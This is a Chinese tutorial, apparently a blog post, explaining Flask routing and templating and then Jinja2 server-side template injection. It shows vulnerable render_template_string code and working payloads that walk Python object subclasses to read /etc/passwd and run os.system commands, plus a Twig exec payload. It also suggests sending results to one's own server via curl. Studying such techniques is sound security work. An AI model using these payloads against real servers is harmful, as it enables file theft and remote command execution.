Flask的基本模式为在程序里将一个视图函数分配给一个URL,每当用户访问这个URL时,系统就会执行给该URL分配好的视图函数,获取函数的返回值并将其显示到浏览器上,其工作过程见图。
路由
@app.route('/index/')
def hello_word():
return 'hello word'
route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word。
route装饰器:https://www.cnblogs.com/DylanHooz/p/6389138.html
注:from-import语句可以在你的模块中导入指定的模块属性,也就是指定名称导入到当前的作用域。
渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
render_template()各种用法的讲解https://www.cnblogs.com/h694879357/p/12295883.html
render_template_string()则是用来渲染一个字符串的。SSTI与这个方法密不可分。
html = '<h1>This is index page</h1>'
return render_template_string(html)
模板
在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html')
访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html',content='This is index page.')
模板注入
不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?
xss利用
@app.route('/test/')def test(): code = request.args.get('id') //requst.args获得的是 列表类型 html = '''
<h3>%s</h3> //一种字符串格式化的语法, 基本用法是将值插入到%s占位符的字符串中 '''%(code)
return render_template_string(html)
这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。
SSTI文件读取/命令执行
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。
<type 'str'>
(<type 'str'>, <type 'basestring'>, <type 'object'>)
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
继续看命令执行payload的构造,思路和构造文件读取的一样。
注:os模块中的system()函数用来运行shell命令;但是不会显示在前端,会在系统上自己执行。listdir()函数返回指定目录下的所有文件和目录名。返回当前目录('.')
这样写代表的意思是在{% %}内可以写代码,该代码在页面内生效,可以编译执行,否则无效。
# encoding: utf-8
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1
71 <class 'site._Printer'>
-
-
-
-
76 <class 'site.Quitter'>
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
构造paylaod的思路和构造文件读取的是一样的。只不过命令执行的结果无法直接看到,需要利用curl将结果发送到自己的vps或者利用ceye)
1.{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
https://www.cnblogs.com/-qing-/p/11656544.html#_label0
https://www.cnblogs.com/-chenxs/p/11971164.html
https://www.cnblogs.com/zaqzzz/p/10263396.html
仅供参考学习